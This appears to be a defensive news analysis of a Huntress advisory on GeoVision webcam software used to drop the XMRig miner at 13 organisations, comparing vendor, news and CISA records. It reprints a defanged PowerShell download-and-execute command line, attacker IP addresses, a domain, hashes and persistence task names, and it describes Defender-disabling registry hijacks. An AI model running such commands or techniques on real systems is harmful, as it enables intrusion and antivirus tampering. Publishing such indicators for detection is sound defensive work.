Huntress: GeoVision software dropped a miner at 13 organisations; no CVE named, Help Net adds a version
Huntress says its SOC saw GeoVision webcam software used to drop the XMRig miner at 13 organisations, mostly on 8 to 10 November 2026, and its advisory names no CVE or version. Help Net's relay of Huntress's replies adds GV-VMS 17.4.8.0 and a known flaw as most likely, without saying which.
By Parminder Kumar Sharma · LinkedIn · · 18 min read
The advisory prints no CVE and no version: both come from a reply
Huntress's threat advisory, published on its page on 13 November 2026, says its security operations centre saw malicious activity from GeoVision webcam software at 13 organisations, the bulk of it between 8 and 10 November, a window of 3 days (derived: 8, 9 and 10 November counted inclusively). The advisory text prints no CVE identifier and no GeoVision version. The version, GV-VMS 17.4.8.0, and the reading that exploitation of a known flaw is the most likely explanation, come only from Help Net Security's relay of Huntress's replies, dated 16 November, 3 days after the advisory (derived). Help Net quotes Huntress as saying that version was compiled on 24 April 2024, which is 928 days before 8 November 2026 (derived: 2024-04-24 to 2026-11-08).
What that does not establish. It does not say which flaw was used. Huntress told Help Net it has not determined which of three CVEs, in a GeoVision advisory of April 2026 that this site did not locate or read, was used, or whether GeoVision considers these installations supported. It does not tie the 13 organisations to any wider campaign: Huntress counts what its own SOC saw. And the GeoVision page saved for this brief is a general cyber security policy page that prints no 17.4.8 and no mention of the incident.
Whose account this is. Huntress sells managed detection and response, and its advisories come from what its own SOC sees: the 13 organisations, the dates and the file names are Huntress's count, and no independent count was read. Help Net Security is a trade news site relaying them; its headline and its subheadings are its own words. Neither page names who is behind the activity, and this article names no one.
What Huntress says happened, in its order
Huntress says the activity looked alike across the organisations. Every case started from one process, GeoStartupAgentService.exe, and on many endpoints it ran as SYSTEM. Huntress searched Shodan for the external addresses of the affected endpoints and says the results showed publicly exposed GeoVision devices or management interfaces. This site did not run that search and cannot say which service or port was exposed.
Huntress's order is this. The GeoVision service spawned a command shell that ran a PowerShell download cradle against a remote address. Three scripts, a, b and c, followed. Script a ran in memory, looked for writable folders and checked whether Microsoft Defender was active. Script b was written to disk and run through WMI, did the same folder probe and downloaded a file called kvckiller.sys, which Huntress says, using VirusTotal, is the kernel driver wsftprm.sys that has been abused before in bring-your-own-vulnerable-driver attacks to tamper with antivirus. At that stage Huntress also saw three Image File Execution Options debugger settings that redirect the launch of three Windows security programs to systray.exe. Script c ran in memory and downloaded update.exe, a custom Go loader, which in turn downloaded the open source XMRig miner as ApplyUpdate.exe.
Each stage as Huntress prints it, and what the advisory leaves out. Source: the Huntress advisory as read on 16 November 2026.
| Stage | What Huntress prints | What it does not print |
|---|---|---|
| Entry | All malicious activity stemmed from GeoStartupAgentService.exe, often as SYSTEM; Shodan showed exposed GeoVision devices or interfaces | The flaw or credential that let the service run a shell |
| Download | cmd.exe /c runs PowerShell, which fetches script a, then b and c, from a remote address | The bodies of the scripts |
| Defender | a checks if Defender is active; the scripts attempted to disable it; b downloads kvckiller.sys; three IFEO hijacks to systray.exe | Whether the driver loaded, or whether Defender actually stopped on any host |
| Loader | update.exe, a Go program with a BitTorrent Mainline DHT client and a PKARR resolver, finds the server's current addresses from a public key | How many hosts it reached, or whether the lookups worked |
| Persistence | On some endpoints, tasks PackageUpdater (every 15 minutes) and PackageUpdater_Startup (at boot, as SYSTEM) | How many endpoints |
| Impact | XMRig deployed as ApplyUpdate.exe to hijack compute for mining | Any wallet, pool, earnings, run time or load |
The loader, in Huntress's words to Help Net. Huntress described the loader as botnet-like: the DHT and PKARR features let the operator find updated server addresses and deliver new payloads. It told Help Net that this ability could support uses beyond mining, including potentially selling access, but that it has not seen evidence that access was sold or used for any other purpose in these incidents. That is a statement of capability and of absence of evidence by one vendor, relayed by one news site; neither page shows what else, if anything, ran.
Three kinds of page, three different claims
Which saved page prints each claim, and whether it is stated. Sources: the Huntress advisory, Help Net Security of 16 November 2026, GeoVision's cyber security page.
| Claim | Printed by | Established by the pages read? |
|---|---|---|
| 13 organisations; bulk of activity 8 to 10 November; all from GeoStartupAgentService.exe | Huntress advisory; Help Net repeats it | Stated by Huntress, a count of what its SOC saw |
| Initial access was exploitation of a public-facing application | Huntress advisory (technique row) | Stated, with no flaw named |
| Exploitation of a known flaw is the most likely explanation | Help Net, as a Huntress reply | Relayed, and worded as most likely, not as found |
| Sample hosts ran GV-VMS 17.4.8.0, compiled 24 April 2024; fixed release V17.4.8.58 | Help Net, as a Huntress reply | Relayed only; absent from the advisory |
| GeoVision's April 2026 advisory lists three unauthenticated RCE flaws in WebCam Server affecting 17.4.8.0 | Help Net, as a Huntress description | Not read by this site; GeoVision's saved page prints no 17.4.8 |
| Which of the three CVEs was used | Help Net: Huntress has not determined it | Not stated |
| The installs were or were not supported | Help Net: Huntress has not confirmed it | Not stated |
Three words that carry more than the pages give them
Unpatched. Help Net's headline calls the software unpatched. Huntress's reply says the sampled hosts ran a version older than GeoVision's fixed release, V17.4.8.58. That says a fix exists. It does not say the owners were told, were offered it, or were entitled to it, and entitlement is the question Huntress says it has not settled. GeoVision's saved page says its latest security patches are in its latest releases, provided the product is still supported by GeoVision, and it points to a supported product list that this site did not open. So a fixed release existing and these installs being supported are two separate facts, and no page read gives the second.
Exposed. Huntress read its Shodan results as publicly exposed GeoVision devices or management interfaces. The advisory describes the victims as Windows endpoints running the software and does not say that any camera was touched. Exposure of a management interface is consistent with how an outsider reached a service, but the pages do not show which interface, or whether it was the WebCam Server feature, which Talos describes for the V20 line as a remote access feature that has to be enabled.
Known flaw. Huntress told Help Net that exploitation of a known flaw is "the most likely explanation". Huntress has not determined which of three CVEs was used. Help Net asked whether the attacker used a known flaw, an undisclosed one or weak or default credentials, and the reply as printed addresses only the first. Help Net's subheading calls the software an outdated version with known flaws. That states as fact what Huntress words as a hypothesis with a stated reason, the match between a version and an advisory, and not as a finding.
The records around it that no page links to the intrusions
Help Net links two CVEs as past in-the-wild exploitation of GeoVision products, CVE-2024-6047 and CVE-2024-11120. This site saved the two CISA entries: both were added on 7 May 2025, 558 days before 16 November 2026 (derived), both are named GeoVision Devices OS Command Injection Vulnerability, the product is Multiple Devices, and both entries say the impacted products could be end-of-life or end-of-service and that users should discontinue product utilisation. This site saved those two entries only and did not check the catalogue for any other GeoVision listing.
The saved Cisco Talos report, TALOS-2026-2369 dated 15 June 2026 (154 days before 16 November, derived), covers a different product line: a stack overflow in the WebCam Server login of GV-VMS V20, version 20.0.2, CVE-2026-42370, which Talos describes as reachable with an unauthenticated HTTP request and scores at 9 under CVSS v3.1 with the vector it prints. Its timeline lists a vendor patch release on 2025-12-02 above an initial vendor contact on 2026-02-24, 84 days later (derived); this site reports the order as printed and does not explain it.
The records side by side. Sources: Help Net Security, the Huntress advisory, the CISA KEV entries (catalogue 2026.11.13) and Cisco Talos.
| Record | Product and version as printed | Date and what it says about support |
|---|---|---|
| The intrusions (Huntress, via Help Net) | GV-VMS 17.4.8.0, WebCam Server named in the April 2026 advisory | Activity 8 to 10 November 2026; support status not confirmed by Huntress |
| CISA KEV, CVE-2024-11120 | Multiple Devices; OS command injection | Added 7 May 2025; products could be end-of-life or end-of-service |
| CISA KEV, CVE-2024-6047 | Multiple Devices; OS command injection | Added 7 May 2025; same wording |
| Talos TALOS-2026-2369, CVE-2026-42370 | GV-VMS V20, version 20.0.2; WebCam Server login | Report of 15 June 2026; lists V20 only, a patch release dated 2025-12-02 |
Why this is context only. Help Net describes the 2024 pair as aimed at end-of-life embedded devices, while the KEV text says the products could be end-of-life; the first is firmer than the second. Huntress's hosts were Windows machines running a software release for which, on Huntress's account, GeoVision has a fixed version, and no page says whether that line is supported. The Talos report names V20 only and nothing in it reaches back to 17.4.8.0. None of these three records is tied to the intrusions by any page read, and this article does not tie them.
Where the records differ
These are differences inside and between the pages. None is resolved here.
Differences between and inside the saved pages. Sources as named in each row.
| What differs | One record prints | Another record prints |
|---|---|---|
| Accounts affected | Huntress background text: ten accounts and 13 organisations | Huntress ATT&CK table, same page: nine accounts and 13 organisations; the page does not say what an account is |
| The version | Huntress advisory: no version | Help Net, as a Huntress reply: GV-VMS 17.4.8.0, compiled 24 April 2024 |
| What the address row labels | Huntress IOC table: 2.59.133[.]151, WebCamServer.exe observed reaching out to it, labelled the likely source of exploitation | The same page gives 45.32.117[.]34 as where the scripts were launched from or hosted, and 156.246.94[.]183 as where the loader reached out; it does not say how the first was observed or what that traffic carried |
| Unpatched or not | Help Net headline: unpatched | Huntress reply as relayed: older than the fixed release V17.4.8.58; support not confirmed |
| End of life | KEV text: the products could be end-of-life or end-of-service | Help Net: the 2024 targets were end-of-life embedded devices; no page says whether 17.4 is a supported line |
| Which version line | Talos: GV-VMS V20, 20.0.2 | Help Net, as a Huntress reply: GV-VMS 17.4.8.0; Talos lists no 17 |
| Exploited, or most likely exploited | Huntress ATT&CK table: the actor exploited publicly exposed GeoVision software | Huntress reply as relayed: a known flaw is most likely, which of three CVEs not determined |
| The headline | Huntress on page: Exploited to Drop XMRig | Huntress browser title: Abused to Deploy XMRig Cryptominer |
| One address, three printings | What we saw: hxxp://45[.]32[.]117[[.]]34/a | IOC table: 45.32.117[.]34; ATT&CK table: hxxp://45.32.117[.]34/a |
| Hashes in the IOC table | One SHA256 sits on the row for the three PowerShell files a, b and c | The page does not say which of the three it belongs to |
| Talos dates | Vendor patch release 2025-12-02 | Initial vendor contact and vendor disclosure 2026-02-24, 84 days later (derived) |
What the records state, and what they do not
Questions a reader will ask, the pages' answers and the gaps. Sources: Huntress advisory, Help Net Security, GeoVision cyber security page, CISA KEV entries, Cisco Talos.
| Question | Stated | Not stated |
|---|---|---|
| How did the attacker get in? | Exploitation of exposed GeoVision software (Huntress); a known flaw is most likely (Huntress reply) | Which CVE, or whether any; whether credentials were ruled out |
| Which versions are affected? | Sample hosts ran GV-VMS 17.4.8.0; V17.4.8.58 is the fixed release (Huntress reply) | Every affected version; the date of the fixed release; GeoVision's own text |
| Were the installs supported? | GeoVision patches are for supported products (GeoVision page) | Whether these installs were; Huntress has not confirmed it |
| How big is it? | 13 organisations, 10 or 9 accounts (Huntress) | Other organisations; machines per organisation |
| Who is behind it? | Nothing | Any operator or group; this article names none |
| Did anything beyond mining run? | A miner and a loader that can fetch other payloads; no evidence of other use (Huntress reply) | What else ran, if anything |
| Did the operator earn anything? | Nothing | Wallet, pool, earnings or run time |
| Were cameras touched? | The victims are Windows machines running the software | Any camera |
What the Huntress advisory prints: names, command and indicators
Everything in this section is copied from the Huntress advisory as read on 16 November 2026, defanged by Huntress as printed. These are Huntress's indicators, not verified by this site, and this site did not visit, resolve or look up any address, domain or hash named. Do not browse to them. Treat them as time limited: Huntress says the loader can move its servers without a domain.
File, process and task names the advisory prints, with the role Huntress gives each. Source: the Huntress advisory.
| Name | Role per Huntress | Where |
|---|---|---|
| GeoStartupAgentService.exe | Parent process of all the malicious activity, often as SYSTEM | GeoVision service |
| WebCamServer.exe | Observed reaching out to 2.59.133[.]151; the process whose UDP DHT traffic Huntress suggests watching | GeoVision software |
| kvckiller.sys | Dropped name of the driver Huntress identifies as wsftprm.sys, abused before in BYOVD attacks | Downloaded by script b |
| MsMpEng.exe | Defender antivirus engine; its launch is redirected to systray.exe by an IFEO setting | Windows Defender |
| SecurityHealthService.exe | Windows Security service; launch redirected to systray.exe | Windows Security |
| SecurityHealthSystray.exe | Windows Security notification area app; launch redirected to systray.exe | Windows Security |
| update.exe | Custom Go loader with a DHT client and a PKARR resolver | Downloaded by script c |
| ApplyUpdate.exe | The XMRig miner | Downloaded by the loader |
The registry mechanism, in words. Huntress says an Image File Execution Options setting lets an administrator name a debugger that starts when a given executable is launched, and that the setting lives in the Windows Registry under a key named for that executable. The attacker wrote three of these Debugger settings, under keys named for MsMpEng.exe, SecurityHealthService.exe and SecurityHealthSystray.exe, each pointing at systray.exe. Huntress calls this a likely attempt to stop those security programs from starting, depending on how the replacement is configured. The advisory prints no registry path, and this site prints none. A defender who checks the three keys, and finds a Debugger value under any of them, has found what Huntress describes (this site's suggestion).
The command, as printed. Huntress says the GeoVision service first spawned a command shell with this command line. The address is defanged and the line as written does not reach anything. Huntress prints it in this form in the section headed What we saw; its ATT&CK table prints the same address with different defanging, so compare an indicator with the saved page, not with this block, before putting it in a rule.
cmd.exe /c powershell -c iex (new-object net.webclient).downloadstring('hxxp://45[.]32[.]117[[.]]34/a')
Addresses and the domain. Huntress labels them: the first is where WebCamServer.exe was observed reaching out and is called the likely source of exploitation; the second is where the PowerShell scripts were launched from; the third is where the loader reached out; the domain is the one the third address resolved to, registered on 7 November at 02:40 UTC, 1 day before the bulk window began (derived).
2.59.133[.]151
45.32.117[.]34
156.246.94[.]183
cctv-update[.]top
Hashes. The IOC table pairs the second hash with wsftprm.sys, also written Kvckiller.sys, and the third with update.exe. It prints the first on the row for the PowerShell files a, b and c, one hash for three files, and does not say which file it is.
b673c4d707828abedc767a2be6badef7454492e62c37e30cf3cc5a402fd3647b
ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
f1235751c9e48e5732b7b183dc2bb175a19e4c6401dfd0e96b4cfdd0d8c54b4c
Tasks and the path. Huntress says update.exe set up a scheduled task named PackageUpdater on some endpoints, which ran the loader from the path below every 15 minutes and restarted it if it stopped. On some endpoints a task named PackageUpdater_Startup ran at system startup with SYSTEM privileges. Help Net repeats the 15 minute and boot timing.
PackageUpdater
PackageUpdater_Startup
C:\WINDOWS\system32\config\systemprofile\update.exe
The loader's two mechanisms, in words. The BitTorrent Mainline DHT client and the PKARR resolver, which Huntress expands as Public-Key Addressable Resource Records, together let the loader use a public key to look up the server's current addresses on the public DHT. Huntress says that lets the operator move infrastructure without registering a domain or losing access. That is why the address list above ages quickly and why Huntress adds behaviour based detections.
DNS queries to 8.8.8[.]8, 8.8.4[.]4, or 1.1.1[.]1 initiated by a process other than the system DNS client
Outbound UDP DHT traffic on port 6881 or similar from a GeoVision server/process WebCamServer.exe
schtasks /Create commands launched by update.exe
What to do, in order
First, the advice as the sources print it. Huntress: remove unnecessary public access to GeoVision devices and management interfaces, placing them behind a VPN or restricting access to trusted IP addresses; look for signs of compromise, including unexpected command shells or PowerShell launched by GeoStartupAgentService.exe, and review the indicators; if malicious activity is found, isolate the hosts and preserve evidence before removing files or changing configurations; add the three detections above; and treat camera management applications as part of the enterprise attack surface. Help Net repeats the exposure and the shell advice. The Huntress advisory prints no patching advice and no advice about endpoint detection coverage.
Take this with you
This site's suggestions, in order
- Find every GeoVision GV-VMS or WebCam Server install, including spare PCs and recording servers, and write down its version. Huntress's reply gives 17.4.8.0 for the sampled victims and V17.4.8.58 as the fixed release; verify both against GeoVision's own advisory, which this site has not read.
- Take the WebCam Server and any management interface off the internet. Check the router and firewall for port forwards to these hosts, not only the host's own settings. Use a VPN or a short allow list, as Huntress advises.
- On each GeoVision host, search for the names in the table above and for a Debugger value under the three Defender and Windows Security keys.
- Treat Defender stopped, disabled or redirected on a camera server as an incident. Isolate the host and keep evidence before cleaning it, as Huntress advises.
- Add the alerts Huntress lists: a GeoVision service starting cmd.exe or PowerShell, DNS sent straight to public resolvers by a program other than the system client, and outbound UDP on port 6881 from the server.
- Ask the supplier or integrator in writing which version line is installed, whether it is supported, and which GeoVision advisory covers it.
- Keep a record of which installs cannot be updated, and put those behind a network boundary or retire them. A cryptominer is the quiet version of what the same access allows.
For camera vendors' customers the pattern is general: an old release behind a port forward is a victim waiting for a CVE number. Here the number is still missing from the public account, and Huntress counts activity at 13 organisations, most of it inside a 3 day window (derived).
The question the pages leave open
Huntress's advisory names the process, the files and the addresses, and no flaw. Help Net's relay supplies a version and a most likely explanation, and says the rest has not been determined. GeoVision's saved page says patches go to supported products and links lists this site did not open. So the practical question is one the pages cannot answer for any reader: which GeoVision version is your WebCam Server running, and who has read GeoVision's April advisory?
Sources
- PrimaryThreat advisory, published 13 November 2026 on its page: GeoVision camera software exploited to drop XMRig; 13 organisations, attack chain, indicators and mitigation. Names no CVE or version. The vendor's own account. Read by this site on 16 November 2026Huntressaccessed 2026-11-16
- PrimaryGeoVision's cyber security policy page as read on 16 November 2026: a policy page, not an advisory list; prints no 17.4.8 and no mention of the intrusions; patches for supported productsGeoVisionaccessed 2026-11-16
- PrimaryVulnerability report TALOS-2026-2369 dated 15 June 2026: GV-VMS V20 WebCam Server login stack overflow, CVE-2026-42370, version 20.0.2. A different version line; context onlyCisco Talosaccessed 2026-11-16
- PrimaryKnown Exploited Vulnerabilities catalogue, version 2026.11.13: the entries for CVE-2024-6047 and CVE-2024-11120, both added 7 May 2025, product Multiple Devices. Context onlyCISAaccessed 2026-11-16
- Reported byNews relay dated 16 November 2026 with Huntress's answers to Help Net: GV-VMS 17.4.8.0, compiled 24 April 2024, fixed release V17.4.8.58, GeoVision's April 2026 advisory, a known flaw as most likely. SecondaryHelp Net Securityaccessed 2026-11-16


